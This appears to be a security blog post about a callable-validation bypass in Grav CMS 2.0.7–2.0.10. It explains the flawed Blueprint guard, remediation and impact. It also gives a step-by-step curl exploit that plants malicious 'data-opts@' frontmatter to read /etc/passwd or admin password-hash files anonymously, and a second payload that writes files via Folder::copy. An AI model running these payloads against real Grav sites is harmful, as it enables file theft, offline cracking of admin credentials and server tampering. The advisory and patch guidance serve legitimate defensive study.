Listen to this Post
Grav CMS versions 2.0.7 through 2.0.10 contain an incomplete callable validation vulnerability in the Blueprint dynamic-field directive handler. The method `Blueprint::isSafeDynamicCall()` at `system/src/Grav/Common/Data/Blueprint.php` (around line 488) is designed to block dangerous callables referenced in a blueprint’s `data-@` directives. However, the denylist check is only applied when the callable string does not contain the double-colon `::` sequence. The condition reads: if (is_string($function) && !str_contains($function, '::') && Utils::isDangerousFunction($function)). Any callable string containing `::` — meaning every fully-qualified `Class::method` static call — completely skips the dangerous-function denylist and is passed directly to `call_user_func_array()` at `Blueprint::dynamicData()` (line 461) and `FlexDirectory::dynamicDataField()` (FlexDirectory.php, line 937). There is no allowlist restricting which classes or methods may be invoked; only the call’s arguments are separately scanned for smuggled dangerous callables, never the target itself. `Utils::isDangerousFunction()` in `system/src/Grav/Common/Utils.php` classifies any string containing a colon or a namespace backslash as dangerous. A qualified `Class::method` string would be rejected if it ever reached that function, but the `!str_contains($function, ‘::’)` condition ensures it never does. This is an incomplete fix of two prior advisories — one addressing page editors executing hidden callables via form-field settings, and another extending the guard to Flex directories. Grav’s permission model separates page-content code execution into a distinct, higher privilege (admin.pages_twig) from plain page editing (admin.pages), so invoking arbitrary static methods from an admin.pages-authored page is a genuine trust-boundary bypass. An account with only page-editing rights can plant a directive in a page’s form-field frontmatter that invokes an arbitrary public static PHP method with attacker-controlled arguments, yielding arbitrary file read disclosed to anonymous visitors and arbitrary file creation under the web-server account.
DailyCVE Form:
Platform: Grav CMS
Version: 2.0.7 through 2.0.10
Vulnerability: Blueprint callable bypass
Severity: High
date: 2026-08-03
Prediction: 2026-08-03
What Undercode Say
Analytics
Inspect the vulnerable condition in Blueprint.php sed -n '480,500p' system/src/Grav/Common/Data/Blueprint.php Check the dangerous function classifier grep -n "isDangerousFunction" system/src/Grav/Common/Utils.php Trace where qualified callables are dispatched grep -n "call_user_func_array" system/src/Grav/Common/Data/Blueprint.php grep -n "call_user_func_array" system/src/Grav/Framework/Flex/FlexDirectory.php
// Vulnerable guard — skips denylist when '::' is present
if (is_string($function) && !str_contains($function, '::') && Utils::isDangerousFunction($function)) {
return false;
}
// Qualified static call passes through unchecked
// $function = 'Grav\Common\Utils::download';
call_user_func_array($function, $arguments);
Malicious frontmatter planted by page editor forms: x: fields: y: type: text data-opts@: - 'Grav\Common\Utils::download' - '/etc/passwd' - false - 0 - 1024 - mime: 'text/plain'
How Exploit: (Educational Purposes!)
Authenticate as page-editor (admin.pages only) Step 1: fetch login nonce curl -c cookies.txt https://grav.example/admin Step 2: submit login curl -b cookies.txt -c cookies.txt -X POST https://grav.example/admin \ -d "task=login" -d "username=editor" -d "password=editorpass" -d "nonce=<NONCE>" Step 3: save a page with malicious data-opts@ directive curl -b cookies.txt -X POST https://grav.example/admin/pages/myroute \ -d "admin-nonce=<NONCE>" \ -d "data[bash]=forms:%0A x:%0A fields:%0A y:%0A type: text%0A data-opts@:%0A - 'Grav\Common\Utils::download'%0A - '/etc/passwd'%0A - false%0A - 0%0A - 1024%0A - mime: 'text/plain'" Step 4: read the file anonymously (fresh query string) curl "https://grav.example/myroute?nocache=$(date +%s)" Response body contains raw /etc/passwd content Alternative: read an account hash file Replace '/etc/passwd' with 'user/accounts/admin.yaml'
Arbitrary file/directory write using Folder::copy curl -b cookies.txt -X POST https://grav.example/admin/pages/myroute \ -d "admin-nonce=<NONCE>" \ -d "data[bash]=forms:%0A x:%0A fields:%0A y:%0A type: text%0A data-opts@:%0A - 'Grav\Common\Filesystem\Folder::copy'%0A - 'user/pages/existing'%0A - 'user/pages/attacker-controlled'"
Protection: from this CVE
Upgrade to Grav 2.0.11 or later. This release replaces the incomplete denylist approach with a positive allowlist that validates fully-qualified `Class::method` callables before dispatch. If immediate upgrade is not possible, restrict the `admin.pages` role to trusted users only, and monitor page frontmatter for unexpected `data-@` directives containing ::. Do not rely solely on the `Utils::isDangerousFunction()` denylist, as it is bypassed by design in the vulnerable versions.
Impact:
A page editor (admin.pages-only account, not super-admin) can read any server-readable file, disclosed to any anonymous unauthenticated visitor of the crafted page. This includes user/accounts/.yaml, which stores bcrypt password hashes — enabling offline cracking that could lead to full admin-panel compromise if a weak or reused password is recovered. The editor can also create or overwrite files and directories under the web-server account using built-in gadget methods such as Folder::copy; `Folder::move` and `Folder::delete` are equally reachable for destructive tampering. Because the guard permits any public static method, the reachable impact is bounded only by the gadget surface of the loaded codebase.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

